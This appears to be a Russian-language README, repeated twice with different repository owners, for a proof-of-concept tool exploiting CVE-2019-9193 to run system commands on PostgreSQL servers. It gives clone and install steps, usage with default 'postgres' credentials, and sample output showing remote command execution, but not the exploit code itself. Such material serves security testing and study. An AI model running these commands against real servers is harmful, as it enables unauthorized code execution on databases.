
PoC-инструмент, предназначенный для эксплуатации аутентифицированной уязвимости удаленного выполнения кода (RCE) в определенных версиях PostgreSQL (9.3 - 11.7)
GenPostgresRCEExploit — это PoC-инструмент, предназначенный для эксплуатации аутентифицированной уязвимости удалённого выполнения кода (RCE) в некоторых версиях PostgreSQL (9.3 - 11.7). Он позволяет аутентифицированным пользователям выполнять системные команды на сервере базы данных PostgreSQL, уязвимом к CVE-2019-9193.
psycopg2 из pip)git clone https://github.com/AxthonyV/CVE-2019-9193
cd CVE-2019-9193
uv sync
python3 GenPostgresRCEExploit.py -i <target_ip> -p <port> -d <database_name> -U <username> -P <password> -c "<system_command>"
-i, --ip: IP-адрес сервера PostgreSQL (по умолчанию: 127.0.0.1)-p, --port: порт сервера PostgreSQL (по умолчанию: 5432)-d, --database: имя базы данных PostgreSQL (по умолчанию: template1)-U, --user: имя пользователя для подключения к серверу PostgreSQL (по умолчанию: postgres)-P, --password: пароль для подключения к серверу PostgreSQL (по умолчанию: postgres)-c, ---command: системная команда, выполняемая на сервере-t, --timeout: тайм-аут подключения в секундах (по умолчанию: 10)python3 GenPostgresRCEExploit.py -i 192.168.1.10 -p 5432 -d mydb -U myuser -P mypass -c "whoami"
В этом примере выполняется подключение к серверу PostgreSQL по адресу 192.168.1.10, аутентификация с использованием предоставленных учётных данных и выполнение команды whoami.
$ python3 GenPostgresRCEExploit.py -i 192.168.1.10 -p 5432 -d testdb -U postgres -P mypassword -c "whoami"
[+] Connection to PostgreSQL database at 192.168.1.10:5432
[+] Connection successfully established
[+] PostgreSQL version check
[+] Vulnerable PostgreSQL version detected: 10.4
[+] Temporary table creation: temp_3f8b8f9e2c9c11d7bd8f7c61d4e9eaf2
[+] Command successfully executed
postgres
Этот инструмент предназначен исключительно для образовательных целей и этичного тестирования. Несанкционированное использование этого инструмента против любых систем является незаконным и строго запрещено. Авторы не несут ответственности за любое неправомерное использование.
GenPostgresRCEExploit — это PoC-эксплойт, предназначенный для эксплуатации уязвимости удалённого выполнения кода (RCE) в некоторых версиях PostgreSQL (9.3 - 11.7). Программа позволяет аутентифицированным пользователям выполнять системные команды на сервере PostgreSQL, уязвимом к CVE-2019-9193.
psycopg2)git clone https://github.com/geniuszly/CVE-2019-9193
cd CVE-2019-9193
uv sync
python3 GenPostgresRCEExploit.py -i <IP address> -p <port> -d <database_name> -U <user> -P <password> -c "<system_command>"
-i, --ip: IP-адрес сервера PostgreSQL (по умолчанию: 127.0.0.1)-p, --port: порт сервера PostgreSQL (по умолчанию: 5432)-d, --database: имя базы данных PostgreSQL (по умолчанию: template1)-U, --user: имя пользователя для подключения к серверу PostgreSQL (по умолчанию: postgres)-P, --password: пароль для подключения к серверу PostgreSQL (по умолчанию: postgres)-c, --command: системная команда для выполнения на сервере-t, --timeout: тайм-аут подключения в секундах (по умолчанию: 10)python3 GenPostgresRCEExploit.py -i 192.168.1.10 -p 5432 -d mydb -U myuser -P mypass -c "whoami"
В этом примере программа подключается к серверу PostgreSQL по адресу 192.168.1.10, проходит аутентификацию с указанными учётными данными и выполняет команду whoami.
$ python3 GenPostgresRCEExploit.py -i 192.168.1.10 -p 5432 -d testdb -U postgres -P mypassword -c "whoami"
[+] Connection to PostgreSQL database at 192.168.1.10:5432
[+] Connection successfully established
[+] PostgreSQL version check
[+] Vulnerable PostgreSQL version detected: 10.4
[+] Temporary table creation: temp_3f8b8f9e2c9c11d7bd8f7c61d4e9eaf2
[+] Command successfully executed
postgres
Этот инструмент предназначен только для образовательных целей и легального тестирования. Несанкционированное использование этого инструмента против любых систем является незаконным и строго запрещено. Авторы не несут ответственности за любое неправомерное использование.